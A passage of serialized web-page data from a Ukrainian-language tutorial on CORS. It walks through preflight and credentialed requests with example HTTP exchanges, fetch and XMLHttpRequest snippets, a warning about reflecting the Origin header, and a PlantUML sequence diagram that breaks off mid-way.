Authorization\nAccess-Control-Max-Age: 86400\nDate: Sat, 29 Aug 2026 14:00:00 GMT\n",[3793,6066,6067,6081,6089,6099,6109,6119],{"__ignoreMap":4210},[4214,6068,6069,6071,6073,6075,6078],{"class":4216,"line":4217},[4214,6070,5319],{"class":4338},[4214,6072,5322],{"class":4262},[4214,6074,5390],{"class":5325},[4214,6076,6077],{"class":5325}," 204",[4214,6079,6080],{"class":4316}," No Content\n",[4214,6082,6083,6085,6087],{"class":4216,"line":4235},[4214,6084,4473],{"class":4224},[4214,6086,3917],{"class":4338},[4214,6088,5345],{"class":4316},[4214,6090,6091,6094,6096],{"class":4216,"line":4245},[4214,6092,6093],{"class":4224},"Access-Control-Allow-Methods",[4214,6095,3917],{"class":4338},[4214,6097,6098],{"class":4316}," GET, POST, PUT, DELETE, OPTIONS\n",[4214,6100,6101,6104,6106],{"class":4216,"line":4278},[4214,6102,6103],{"class":4224},"Access-Control-Allow-Headers",[4214,6105,3917],{"class":4338},[4214,6107,6108],{"class":4316}," Content-Type, Authorization\n",[4214,6110,6111,6114,6116],{"class":4216,"line":4288},[4214,6112,6113],{"class":4224},"Access-Control-Max-Age",[4214,6115,3917],{"class":4338},[4214,6117,6118],{"class":4316}," 86400\n",[4214,6120,6121,6124,6126],{"class":4216,"line":4298},[4214,6122,6123],{"class":4224},"Date",[4214,6125,3917],{"class":4338},[4214,6127,6128],{"class":4316}," Sat, 29 Aug 2026 14:00:00 GMT\n",[3844,6130,6131],{},[3782,6132,6133],{},"Пояснення заголовків відповіді:",[3746,6135,6136,6142,6148,6154],{},[3749,6137,6138,6141],{},[3793,6139,6140],{},"Access-Control-Allow-Origin: https:\u002F\u002Fapp.example.com"," — сервер дозволяє запити з цього джерела.",[3749,6143,6144,6147],{},[3793,6145,6146],{},"Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS"," — дозволені методи для cross-origin запитів.",[3749,6149,6150,6153],{},[3793,6151,6152],{},"Access-Control-Allow-Headers: Content-Type, Authorization"," — дозволені заголовки, які клієнт може додавати до запитів.",[3749,6155,6156,6159,6160,6163],{},[3793,6157,6158],{},"Access-Control-Max-Age: 86400"," — результат preflight-запиту можна кешувати протягом 86400 секунд (1 день). Протягом цього часу браузер ",[3782,6161,6162],{},"не буде"," повторювати OPTIONS-запит для ідентичних запитів.",[3844,6165,6166],{},[3782,6167,6168],{},"Крок 3: Браузер перевіряє дозволи та виконує основний запит",[3844,6170,6171],{},"Браузер аналізує відповідь preflight-запиту:",[3746,6173,6174,6183,6193],{},[3749,6175,6176,6177,6179,6180,6182],{},"Метод ",[3793,6178,5208],{}," присутній у ",[3793,6181,6093],{}," ✅",[3749,6184,6185,6186,4148,6188,6190,6191,6182],{},"Заголовки ",[3793,6187,5227],{},[3793,6189,5254],{}," присутні у ",[3793,6192,6103],{},[3749,6194,6195,6196,6198,6199,6182],{},"Джерело ",[3793,6197,3889],{}," співпадає з ",[3793,6200,4473],{},[3844,6202,6203,6204,3917],{},"Усі перевірки пройдені успішно. Браузер виконує ",[3782,6205,6206],{},"основний POST-запит",[4205,6208,6210],{"className":4794,"code":6209,"language":4796,"meta":4210,"style":4210},"POST \u002Fapi\u002Fv1\u002Fusers HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Fapp.example.com\nContent-Type: application\u002Fjson\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\nContent-Length: 56\n\n{\"email\":\"user@example.com\",\"name\":\"John\"}\n",[3793,6211,6212,6224,6232,6240,6248,6257,6266,6270],{"__ignoreMap":4210},[4214,6213,6214,6216,6218,6220,6222],{"class":4216,"line":4217},[4214,6215,5208],{"class":4622},[4214,6217,5982],{"class":4262},[4214,6219,5319],{"class":4338},[4214,6221,5322],{"class":4262},[4214,6223,5326],{"class":5325},[4214,6225,6226,6228,6230],{"class":4216,"line":4235},[4214,6227,5331],{"class":4224},[4214,6229,3917],{"class":4338},[4214,6231,5336],{"class":4316},[4214,6233,6234,6236,6238],{"class":4216,"line":4245},[4214,6235,5181],{"class":4224},[4214,6237,3917],{"class":4338},[4214,6239,5345],{"class":4316},[4214,6241,6242,6244,6246],{"class":4216,"line":4278},[4214,6243,5227],{"class":4224},[4214,6245,3917],{"class":4338},[4214,6247,5354],{"class":4316},[4214,6249,6250,6252,6254],{"class":4216,"line":4288},[4214,6251,5254],{"class":4224},[4214,6253,3917],{"class":4338},[4214,6255,6256],{"class":4316}," Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n",[4214,6258,6259,6261,6263],{"class":4216,"line":4298},[4214,6260,5418],{"class":4224},[4214,6262,3917],{"class":4338},[4214,6264,6265],{"class":4316}," 56\n",[4214,6267,6268],{"class":4216,"line":4305},[4214,6269,5429],{"emptyLinePlaceholder":5428},[4214,6271,6272,6274,6277,6279,6282,6284,6286,6288,6291],{"class":4216,"line":4323},[4214,6273,5660],{"class":4262},[4214,6275,6276],{"class":5437},"\"email\"",[4214,6278,3917],{"class":4262},[4214,6280,6281],{"class":4316},"\"user@example.com\"",[4214,6283,5446],{"class":4262},[4214,6285,5449],{"class":5437},[4214,6287,3917],{"class":4262},[4214,6289,6290],{"class":4316},"\"John\"",[4214,6292,4729],{"class":4262},[3844,6294,6295],{},[3782,6296,6297],{},"Крок 4: Сервер обробляє запит та повертає відповідь",[4205,6299,6301],{"className":4794,"code":6300,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 201 Created\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nContent-Type: application\u002Fjson; charset=utf-8\nLocation: https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002F125\n\n{\"id\":125,\"email\":\"user@example.com\",\"name\":\"John\",\"createdAt\":\"2026-08-29T14:00:00Z\"}\n",[3793,6302,6303,6317,6325,6333,6343,6347],{"__ignoreMap":4210},[4214,6304,6305,6307,6309,6311,6314],{"class":4216,"line":4217},[4214,6306,5319],{"class":4338},[4214,6308,5322],{"class":4262},[4214,6310,5390],{"class":5325},[4214,6312,6313],{"class":5325}," 201",[4214,6315,6316],{"class":4316}," Created\n",[4214,6318,6319,6321,6323],{"class":4216,"line":4235},[4214,6320,4473],{"class":4224},[4214,6322,3917],{"class":4338},[4214,6324,5345],{"class":4316},[4214,6326,6327,6329,6331],{"class":4216,"line":4245},[4214,6328,5227],{"class":4224},[4214,6330,3917],{"class":4338},[4214,6332,5405],{"class":4316},[4214,6334,6335,6338,6340],{"class":4216,"line":4278},[4214,6336,6337],{"class":4224},"Location",[4214,6339,3917],{"class":4338},[4214,6341,6342],{"class":4316}," https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002F125\n",[4214,6344,6345],{"class":4216,"line":4288},[4214,6346,5429],{"emptyLinePlaceholder":5428},[4214,6348,6349,6351,6353,6355,6358,6360,6362,6364,6366,6368,6370,6372,6374,6376,6379,6381,6384],{"class":4216,"line":4298},[4214,6350,5660],{"class":4262},[4214,6352,5438],{"class":5437},[4214,6354,3917],{"class":4262},[4214,6356,6357],{"class":5325},"125",[4214,6359,5446],{"class":4262},[4214,6361,6276],{"class":5437},[4214,6363,3917],{"class":4262},[4214,6365,6281],{"class":4316},[4214,6367,5446],{"class":4262},[4214,6369,5449],{"class":5437},[4214,6371,3917],{"class":4262},[4214,6373,6290],{"class":4316},[4214,6375,5446],{"class":4262},[4214,6377,6378],{"class":5437},"\"createdAt\"",[4214,6380,3917],{"class":4262},[4214,6382,6383],{"class":4316},"\"2026-08-29T14:00:00Z\"",[4214,6385,4729],{"class":4262},[3844,6387,6388],{},[3782,6389,6390],{},"Крок 5: JavaScript отримує доступ до відповіді",[4205,6392,6394],{"className":4819,"code":6393,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers', { \u002F* ... *\u002F })\n  .then(response => {\n    console.log('Status:', response.status); \u002F\u002F 201\n    return response.json();\n  })\n  .then(data => {\n    console.log('Created user:', data);\n    \u002F\u002F Успішно створено користувача\n  });\n",[3793,6395,6396,6412,6426,6453,6467,6472,6486,6505,6510],{"__ignoreMap":4210},[4214,6397,6398,6400,6402,6404,6407,6410],{"class":4216,"line":4217},[4214,6399,4309],{"class":4308},[4214,6401,4313],{"class":4262},[4214,6403,5859],{"class":4316},[4214,6405,6406],{"class":4262},", { ",[4214,6408,6409],{"class":4301},"\u002F* ... *\u002F",[4214,6411,5940],{"class":4262},[4214,6413,6414,6416,6418,6420,6422,6424],{"class":4216,"line":4235},[4214,6415,4326],{"class":4262},[4214,6417,4329],{"class":4308},[4214,6419,4313],{"class":4262},[4214,6421,4335],{"class":4334},[4214,6423,4339],{"class":4338},[4214,6425,4626],{"class":4262},[4214,6427,6428,6430,6432,6434,6436,6439,6441,6443,6445,6448,6450],{"class":4216,"line":4245},[4214,6429,5573],{"class":4334},[4214,6431,3796],{"class":4262},[4214,6433,4372],{"class":4308},[4214,6435,4313],{"class":4262},[4214,6437,6438],{"class":4316},"'Status:'",[4214,6440,3950],{"class":4262},[4214,6442,4335],{"class":4334},[4214,6444,3796],{"class":4262},[4214,6446,6447],{"class":4334},"status",[4214,6449,4845],{"class":4262},[4214,6451,6452],{"class":4301},"\u002F\u002F 201\n",[4214,6454,6455,6458,6460,6462,6464],{"class":4216,"line":4278},[4214,6456,6457],{"class":4622},"    return",[4214,6459,4342],{"class":4334},[4214,6461,3796],{"class":4262},[4214,6463,4347],{"class":4308},[4214,6465,6466],{"class":4262},"();\n",[4214,6468,6469],{"class":4216,"line":4288},[4214,6470,6471],{"class":4262},"  })\n",[4214,6473,6474,6476,6478,6480,6482,6484],{"class":4216,"line":4298},[4214,6475,4326],{"class":4262},[4214,6477,4329],{"class":4308},[4214,6479,4313],{"class":4262},[4214,6481,4362],{"class":4334},[4214,6483,4339],{"class":4338},[4214,6485,4626],{"class":4262},[4214,6487,6488,6490,6492,6494,6496,6499,6501,6503],{"class":4216,"line":4305},[4214,6489,5573],{"class":4334},[4214,6491,3796],{"class":4262},[4214,6493,4372],{"class":4308},[4214,6495,4313],{"class":4262},[4214,6497,6498],{"class":4316},"'Created user:'",[4214,6500,3950],{"class":4262},[4214,6502,4362],{"class":4334},[4214,6504,4617],{"class":4262},[4214,6506,6507],{"class":4216,"line":4323},[4214,6508,6509],{"class":4301},"    \u002F\u002F Успішно створено користувача\n",[4214,6511,6512],{"class":4216,"line":4353},[4214,6513,5598],{"class":4262},[4475,6515,6516,6519,6521,6522,6524,6525,6528],{},[3782,6517,6518],{},"Оптимізація через кешування preflight:",[3999,6520],{},"\nЗаголовок ",[3793,6523,6158],{}," дозволяє браузеру кешувати результат preflight-запиту на 1 день. Якщо користувач виконає аналогічний POST-запит до того самого endpoint протягом наступних 24 годин, браузер ",[3782,6526,6527],{},"пропустить OPTIONS-запит"," та одразу виконає основний запит, економлячи час та навантаження на сервер.",[3839,6530,6532],{"id":6531},"cors-з-обліковими-даними-credentialed-requests","CORS з обліковими даними (Credentialed Requests)",[3844,6534,6535,6536,6539],{},"За замовчуванням, cross-origin запити ",[3782,6537,6538],{},"не включають облікові дані"," (cookies, HTTP-автентифікацію, TLS-сертифікати клієнта). Це захисний механізм, який запобігає автоматичному надсиланню автентифікаційних cookies зловмисним сайтом до легітимного API. Проте у багатьох сценаріях (автентифіковані SPA-застосунки, SSO) необхідно передавати облікові дані у cross-origin запитах. Для цього потрібно явно вказати намір як на стороні клієнта, так і на стороні сервера.",[3988,6541,6543],{"id":6542},"налаштування-на-стороні-клієнта","Налаштування на стороні клієнта",[3844,6545,6546,6547,3917],{},"У Fetch API або XMLHttpRequest потрібно встановити опцію ",[3793,6548,6549],{},"credentials",[3844,6551,6552],{},[3782,6553,6554],{},"Fetch API:",[4205,6556,6558],{"className":4819,"code":6557,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fprofile', {\n  method: 'GET',\n  credentials: 'include' \u002F\u002F Включити cookies та інші облікові дані\n});\n",[3793,6559,6560,6571,6580,6591],{"__ignoreMap":4210},[4214,6561,6562,6564,6566,6569],{"class":4216,"line":4217},[4214,6563,4309],{"class":4308},[4214,6565,4313],{"class":4262},[4214,6567,6568],{"class":4316},"'https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fprofile'",[4214,6570,5862],{"class":4262},[4214,6572,6573,6575,6578],{"class":4216,"line":4235},[4214,6574,5867],{"class":4334},[4214,6576,6577],{"class":4316}," 'GET'",[4214,6579,5873],{"class":4262},[4214,6581,6582,6585,6588],{"class":4216,"line":4245},[4214,6583,6584],{"class":4334},"  credentials:",[4214,6586,6587],{"class":4316}," 'include'",[4214,6589,6590],{"class":4301}," \u002F\u002F Включити cookies та інші облікові дані\n",[4214,6592,6593],{"class":4216,"line":4278},[4214,6594,5945],{"class":4262},[3844,6596,6597],{},[3782,6598,6599,6600,3917],{},"Можливі значення ",[3793,6601,6549],{},[3746,6603,6604,6610,6616],{},[3749,6605,6606,6609],{},[3793,6607,6608],{},"'omit'"," — ніколи не включати облікові дані (навіть для same-origin).",[3749,6611,6612,6615],{},[3793,6613,6614],{},"'same-origin'"," (за замовчуванням) — включати лише для same-origin запитів.",[3749,6617,6618,6621],{},[3793,6619,6620],{},"'include'"," — завжди включати, навіть для cross-origin запитів.",[3844,6623,6624],{},[3782,6625,6626],{},"XMLHttpRequest:",[4205,6628,6630],{"className":4819,"code":6629,"language":4821,"meta":4210,"style":4210},"const xhr = new XMLHttpRequest();\nxhr.open('GET', 'https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fprofile');\nxhr.withCredentials = true; \u002F\u002F Включити cookies\nxhr.send();\n",[3793,6631,6632,6650,6671,6690],{"__ignoreMap":4210},[4214,6633,6634,6636,6639,6642,6645,6648],{"class":4216,"line":4217},[4214,6635,4594],{"class":4338},[4214,6637,6638],{"class":4597}," xhr",[4214,6640,6641],{"class":4262}," = ",[4214,6643,6644],{"class":4338},"new",[4214,6646,6647],{"class":4308}," XMLHttpRequest",[4214,6649,6466],{"class":4262},[4214,6651,6652,6655,6657,6660,6662,6665,6667,6669],{"class":4216,"line":4235},[4214,6653,6654],{"class":4334},"xhr",[4214,6656,3796],{"class":4262},[4214,6658,6659],{"class":4308},"open",[4214,6661,4313],{"class":4262},[4214,6663,6664],{"class":4316},"'GET'",[4214,6666,3950],{"class":4262},[4214,6668,6568],{"class":4316},[4214,6670,4617],{"class":4262},[4214,6672,6673,6675,6677,6680,6682,6685,6687],{"class":4216,"line":4245},[4214,6674,6654],{"class":4334},[4214,6676,3796],{"class":4262},[4214,6678,6679],{"class":4334},"withCredentials",[4214,6681,6641],{"class":4262},[4214,6683,6684],{"class":4338},"true",[4214,6686,4646],{"class":4262},[4214,6688,6689],{"class":4301},"\u002F\u002F Включити cookies\n",[4214,6691,6692,6694,6696,6699],{"class":4216,"line":4278},[4214,6693,6654],{"class":4334},[4214,6695,3796],{"class":4262},[4214,6697,6698],{"class":4308},"send",[4214,6700,6466],{"class":4262},[3988,6702,6704],{"id":6703},"налаштування-на-стороні-сервера","Налаштування на стороні сервера",[3844,6706,6707,6708,6711,6712,6715,6716,5697,6718,6720,6721,6723,6724,3796],{},"Сервер повинен ",[3782,6709,6710],{},"явно дозволити"," передачу облікових даних через заголовок ",[3793,6713,6714],{},"Access-Control-Allow-Credentials: true",". Крім того, сервер ",[3782,6717,4188],{},[3793,6719,5612],{}," у заголовку ",[3793,6722,4473],{}," — необхідно вказати ",[3782,6725,6726],{},"конкретне джерело",[3988,6728,6730],{"id":6729},"приклад-credentialed-запиту","Приклад credentialed запиту",[3844,6732,6733,6735,6736,6738,6739,6741],{},[3782,6734,5293],{}," Користувач автентифікований на ",[3793,6737,3889],{}," через session cookie. Фронтенд надсилає запит до ",[3793,6740,3893],{}," для отримання профілю користувача, і потрібно передати session cookie.",[3844,6743,6744],{},[3782,6745,6746],{},"Крок 1: Клієнт надсилає запит з credentials",[4205,6748,6750],{"className":4819,"code":6749,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fme', {\n  method: 'GET',\n  credentials: 'include'\n});\n",[3793,6751,6752,6763,6771,6778],{"__ignoreMap":4210},[4214,6753,6754,6756,6758,6761],{"class":4216,"line":4217},[4214,6755,4309],{"class":4308},[4214,6757,4313],{"class":4262},[4214,6759,6760],{"class":4316},"'https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fme'",[4214,6762,5862],{"class":4262},[4214,6764,6765,6767,6769],{"class":4216,"line":4235},[4214,6766,5867],{"class":4334},[4214,6768,6577],{"class":4316},[4214,6770,5873],{"class":4262},[4214,6772,6773,6775],{"class":4216,"line":4245},[4214,6774,6584],{"class":4334},[4214,6776,6777],{"class":4316}," 'include'\n",[4214,6779,6780],{"class":4216,"line":4278},[4214,6781,5945],{"class":4262},[3844,6783,6784],{},[3782,6785,6786],{},"Крок 2: Браузер включає cookies у запит",[4205,6788,6790],{"className":4794,"code":6789,"language":4796,"meta":4210,"style":4210},"GET \u002Fapi\u002Fv1\u002Fusers\u002Fme HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Fapp.example.com\nCookie: sessionId=abc123xyz456\nAccept: application\u002Fjson\n",[3793,6791,6792,6805,6813,6821,6831],{"__ignoreMap":4210},[4214,6793,6794,6796,6799,6801,6803],{"class":4216,"line":4217},[4214,6795,5202],{"class":4622},[4214,6797,6798],{"class":4262}," \u002Fapi\u002Fv1\u002Fusers\u002Fme ",[4214,6800,5319],{"class":4338},[4214,6802,5322],{"class":4262},[4214,6804,5326],{"class":5325},[4214,6806,6807,6809,6811],{"class":4216,"line":4235},[4214,6808,5331],{"class":4224},[4214,6810,3917],{"class":4338},[4214,6812,5336],{"class":4316},[4214,6814,6815,6817,6819],{"class":4216,"line":4245},[4214,6816,5181],{"class":4224},[4214,6818,3917],{"class":4338},[4214,6820,5345],{"class":4316},[4214,6822,6823,6826,6828],{"class":4216,"line":4278},[4214,6824,6825],{"class":4224},"Cookie",[4214,6827,3917],{"class":4338},[4214,6829,6830],{"class":4316}," sessionId=abc123xyz456\n",[4214,6832,6833,6835,6837],{"class":4216,"line":4288},[4214,6834,5217],{"class":4224},[4214,6836,3917],{"class":4338},[4214,6838,5354],{"class":4316},[3844,6840,6841,6842,4165,6844,3796],{},"Браузер автоматично додає cookies для домену ",[3793,6843,3953],{},[3793,6845,6846],{},"credentials: 'include'",[3844,6848,6849],{},[3782,6850,6851],{},"Крок 3: Сервер перевіряє автентифікацію та повертає відповідь",[4205,6853,6855],{"className":4794,"code":6854,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson; charset=utf-8\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Credentials: true\nVary: Origin\n\n{\"id\":42,\"email\":\"user@example.com\",\"firstName\":\"John\",\"role\":\"user\"}\n",[3793,6856,6857,6869,6877,6885,6895,6905,6909],{"__ignoreMap":4210},[4214,6858,6859,6861,6863,6865,6867],{"class":4216,"line":4217},[4214,6860,5319],{"class":4338},[4214,6862,5322],{"class":4262},[4214,6864,5390],{"class":5325},[4214,6866,5393],{"class":5325},[4214,6868,5396],{"class":4316},[4214,6870,6871,6873,6875],{"class":4216,"line":4235},[4214,6872,5227],{"class":4224},[4214,6874,3917],{"class":4338},[4214,6876,5405],{"class":4316},[4214,6878,6879,6881,6883],{"class":4216,"line":4245},[4214,6880,4473],{"class":4224},[4214,6882,3917],{"class":4338},[4214,6884,5345],{"class":4316},[4214,6886,6887,6890,6892],{"class":4216,"line":4278},[4214,6888,6889],{"class":4224},"Access-Control-Allow-Credentials",[4214,6891,3917],{"class":4338},[4214,6893,6894],{"class":4316}," true\n",[4214,6896,6897,6900,6902],{"class":4216,"line":4288},[4214,6898,6899],{"class":4224},"Vary",[4214,6901,3917],{"class":4338},[4214,6903,6904],{"class":4316}," Origin\n",[4214,6906,6907],{"class":4216,"line":4298},[4214,6908,5429],{"emptyLinePlaceholder":5428},[4214,6910,6911,6913,6915,6917,6920,6922,6924,6926,6928,6930,6933,6935,6937,6939,6942,6944,6947],{"class":4216,"line":4305},[4214,6912,5660],{"class":4262},[4214,6914,5438],{"class":5437},[4214,6916,3917],{"class":4262},[4214,6918,6919],{"class":5325},"42",[4214,6921,5446],{"class":4262},[4214,6923,6276],{"class":5437},[4214,6925,3917],{"class":4262},[4214,6927,6281],{"class":4316},[4214,6929,5446],{"class":4262},[4214,6931,6932],{"class":5437},"\"firstName\"",[4214,6934,3917],{"class":4262},[4214,6936,6290],{"class":4316},[4214,6938,5446],{"class":4262},[4214,6940,6941],{"class":5437},"\"role\"",[4214,6943,3917],{"class":4262},[4214,6945,6946],{"class":4316},"\"user\"",[4214,6948,4729],{"class":4262},[3844,6950,6951],{},[3782,6952,6953],{},"Ключові моменти:",[3746,6955,6956,6966,6971],{},[3749,6957,6958,6960,6961,6963,6964,3796],{},[3793,6959,6140],{}," — ",[3782,6962,6726],{},", а не ",[3793,6965,5612],{},[3749,6967,6968,6970],{},[3793,6969,6714],{}," — дозвіл на використання облікових даних.",[3749,6972,6973,6976,6977,6979],{},[3793,6974,6975],{},"Vary: Origin"," — вказує проксі-серверам та CDN, що відповідь залежить від заголовка ",[3793,6978,5181],{}," (важливо для коректного кешування).",[3844,6981,6982],{},[3782,6983,6984],{},"Крок 4: JavaScript отримує доступ до відповіді",[4205,6986,6988],{"className":4819,"code":6987,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fme', {\n  credentials: 'include'\n})\n  .then(response => response.json())\n  .then(data => {\n    console.log('User profile:', data);\n    \u002F\u002F Успішно отримано профіль автентифікованого користувача\n  });\n",[3793,6989,6990,7000,7006,7011,7031,7045,7064,7069],{"__ignoreMap":4210},[4214,6991,6992,6994,6996,6998],{"class":4216,"line":4217},[4214,6993,4309],{"class":4308},[4214,6995,4313],{"class":4262},[4214,6997,6760],{"class":4316},[4214,6999,5862],{"class":4262},[4214,7001,7002,7004],{"class":4216,"line":4235},[4214,7003,6584],{"class":4334},[4214,7005,6777],{"class":4316},[4214,7007,7008],{"class":4216,"line":4245},[4214,7009,7010],{"class":4262},"})\n",[4214,7012,7013,7015,7017,7019,7021,7023,7025,7027,7029],{"class":4216,"line":4278},[4214,7014,4326],{"class":4262},[4214,7016,4329],{"class":4308},[4214,7018,4313],{"class":4262},[4214,7020,4335],{"class":4334},[4214,7022,4339],{"class":4338},[4214,7024,4342],{"class":4334},[4214,7026,3796],{"class":4262},[4214,7028,4347],{"class":4308},[4214,7030,4350],{"class":4262},[4214,7032,7033,7035,7037,7039,7041,7043],{"class":4216,"line":4288},[4214,7034,4326],{"class":4262},[4214,7036,4329],{"class":4308},[4214,7038,4313],{"class":4262},[4214,7040,4362],{"class":4334},[4214,7042,4339],{"class":4338},[4214,7044,4626],{"class":4262},[4214,7046,7047,7049,7051,7053,7055,7058,7060,7062],{"class":4216,"line":4298},[4214,7048,5573],{"class":4334},[4214,7050,3796],{"class":4262},[4214,7052,4372],{"class":4308},[4214,7054,4313],{"class":4262},[4214,7056,7057],{"class":4316},"'User profile:'",[4214,7059,3950],{"class":4262},[4214,7061,4362],{"class":4334},[4214,7063,4617],{"class":4262},[4214,7065,7066],{"class":4216,"line":4305},[4214,7067,7068],{"class":4301},"    \u002F\u002F Успішно отримано профіль автентифікованого користувача\n",[4214,7070,7071],{"class":4216,"line":4323},[4214,7072,5598],{"class":4262},[7074,7075,7076,7079,7081,7082,7084,7085,7087,7088,7091,7092,7097,7098,3796],"danger",{},[3782,7077,7078],{},"Ризики credentialed requests:",[3999,7080],{},"\nЯкщо сервер дозволяє credentialed requests з необмеженого списку доменів (динамічно копіюючи значення ",[3793,7083,5181],{}," у ",[3793,7086,4473],{}," без валідації), це створює ",[3782,7089,7090],{},"серйозну вразливість CSRF",". Зловмисний сайт зможе виконувати автентифіковані запити до вашого API від імені користувача. ",[3782,7093,7094,7095],{},"Завжди валідуйте ",[3793,7096,5181],{}," проти білого списку дозволених доменів перед встановленням ",[3793,7099,4473],{},[3839,7101,7103],{"id":7102},"візуалізація-потоку-cors","Візуалізація потоку CORS",[7105,7106,7108],"plant-uml",{"alt":7107},"CORS Preflight та основний запит",[4205,7109,7113],{"className":7110,"code":7111,"language":7112,"meta":4210,"style":4210},"language-plantuml shiki shiki-themes light-plus dark-plus dark-plus","@startuml CORS Flow\nskinparam style plain\nskinparam backgroundColor #FFFFFF\nautonumber\n\nactor \"Браузер\\n(JavaScript)\" as Browser #DBEAFE\nparticipant \"Origin A\\n(https:\u002F\u002Fapp.example.com)\" as OriginA #E2E8F0\nparticipant \"CORS API\\n(https:\u002F\u002Fapi.example.com)\" as API #DCFCE7\n\n== Preflight запит (OPTIONS) ==\n\nBrowser -> API : **OPTIONS** \u002Fapi\u002Fv1\u002Fusers\\n**Origin:** https:\u002F\u002Fapp.example.com\\n**Access-Control-Request-Method:** POST\\n**Access-Control-Request-Headers:** content-type, authorization\n\nnote over API #FEF3C7\n  Сервер перевіряє:\n  1. Чи дозволено джерело app.example.com?\n  2. Чи дозволено метод POST?\n  3. Чи дозволено заголовки content-type, authorization?\nend note\n\nAPI --> Browser : **204 No Content**\\n**Access-Control-Allow-Origin:** https:\u002F\u002Fapp.example.com\\n**Access-Control-Allow-Methods:** GET, POST, PUT, DELETE\\n**Access-Control-Allow-Headers:** content-type, authorization\\n**Access-Control-Max-Age:** 86400\n\nnote over Browser #DBEAFE\n  Браузер кешує результат preflight на 1 день.\n  Усі перевірки пройдені ✅\nend note\n\n== Основний запит (POST) ==\n\nBrowser -> API : **POST** \u002Fapi\u002Fv1\u002Fusers\\n**Origin:** https:\u002F\u002Fapp.example.com\\n**Content-Type:** application\u002Fjson\\n**Authorization:** Bearer token...\\n\\n{\"email\": \"user@example.com\"}\n\nnote over API #DCFCE7\n  Сервер обробляє запит,\n  створює користувача у БД\nend note\n\nAPI --> Browser : **201 Created**\\n**Access-Control-Allow-Origin:** https:\u002F\u002Fapp.example.com\\n**Location:** \u002Fapi\u002Fv1\u002Fusers\u002F125\\n\\n{\"id\": 125, \"email\": \"user@example.com\"}\n\nnote over Browser #DBEAFE\n  JavaScript отримує доступ до відповіді\nend note\n\n@enduml\n","plantuml",[3793,7114,7115,7120,7125,7130,7135,7139,7144,7149,7154,7158,7163,7167,7172,7176,7181,7186,7191,7196,7201,7207,7212,7218,7223,7229,7235,7241,7246,7251,7257,7262,7268,7273,7279,7285,7291,7296,7301,7307,7312,7317,7323,7328,7333],{"__ignoreMap":4210},[4214,7116,7117],{"class":4216,"line":4217},[4214,7118,7119],{},"@startuml CORS Flow\n",[4214,7121,7122],{"class":4216,"line":4235},[4214,7123,7124],{},"skinparam style plain\n",[4214,7126,7127],{"class":4216,"line":4245},[4214,7128,7129],{},"skinparam backgroundColor #FFFFFF\n",[4214,7131,7132],{"class":4216,"line":4278},[4214,7133,7134],{},"autonumber\n",[4214,7136,7137],{"class":4216,"line":4288},[4214,7138,5429],{"emptyLinePlaceholder":5428},[4214,7140,7141],{"class":4216,"line":4298},[4214,7142,7143],{},"actor \"Браузер\\n(JavaScript)\" as Browser #DBEAFE\n",[4214,7145,7146],{"class":4216,"line":4305},[4214,7147,7148],{},"participant \"Origin A\\n(https:\u002F\u002Fapp.example.com)\" as OriginA #E2E8F0\n",[4214,7150,7151],{"class":4216,"line":4323},[4214,7152,7153],{},"participant \"CORS API\\n(https:\u002F\u002Fapi.example.com)\" as API #DCFCE7\n",[4214,7155,7156],{"class":4216,"line":4353},[4214,7157,5429],{"emptyLinePlaceholder":5428},[4214,7159,7160],{"class":4216,"line":4382},[4214,7161,7162],{},"== Preflight запит (OPTIONS) ==\n",[4214,7164,7165],{"class":4216,"line":4415},[4214,7166,5429],{"emptyLinePlaceholder":5428},[4214,7168,7169],{"class":4216,"line":4424},[4214,7170,7171],{},"Browser -> API : **OPTIONS** \u002Fapi\u002Fv1\u002Fusers\\n**Origin:** https:\u002F\u002Fapp.example.com\\n**Access-Control-Request-Method:** POST\\n**Access-Control-Request-Headers:** content-type, authorization\n",[4214,7173,7174],{"class":4216,"line":4433},[4214,7175,5429],{"emptyLinePlaceholder":5428},[4214,7177,7178],{"class":4216,"line":4720},[4214,7179,7180],{},"note over API #FEF3C7\n",[4214,7182,7183],{"class":4216,"line":4726},[4214,7184,7185],{},"  Сервер перевіряє:\n",[4214,7187,7188],{"class":4216,"line":4732},[4214,7189,7190],{},"  1. Чи дозволено джерело app.example.com?\n",[4214,7192,7193],{"class":4216,"line":4741},[4214,7194,7195],{},"  2. Чи дозволено метод POST?\n",[4214,7197,7198],{"class":4216,"line":4750},[4214,7199,7200],{},"  3. Чи дозволено заголовки content-type, authorization?\n",[4214,7202,7204],{"class":4216,"line":7203},19,[4214,7205,7206],{},"end note\n",[4214,7208,7210],{"class":4216,"line":7209},20,[4214,7211,5429],{"emptyLinePlaceholder":5428},[4214,7213,7215],{"class":4216,"line":7214},21,[4214,7216,7217],{},"API --> Browser : **204 No Content**\\n**Access-Control-Allow-Origin:** https:\u002F\u002Fapp.example.com\\n**Access-Control-Allow-Methods:** GET, POST, PUT, DELETE\\n**Access-Control-Allow-Headers:** content-type, authorization\\n**Access-Control-Max-Age:** 86400\n",[4214,7219,7221],{"class":4216,"line":7220},22,[4214,7222,5429],{"emptyLinePlaceholder":5428},[4214,7224,7226],{"class":4216,"line":7225},23,[4214,7227,7228],{},"note over Browser 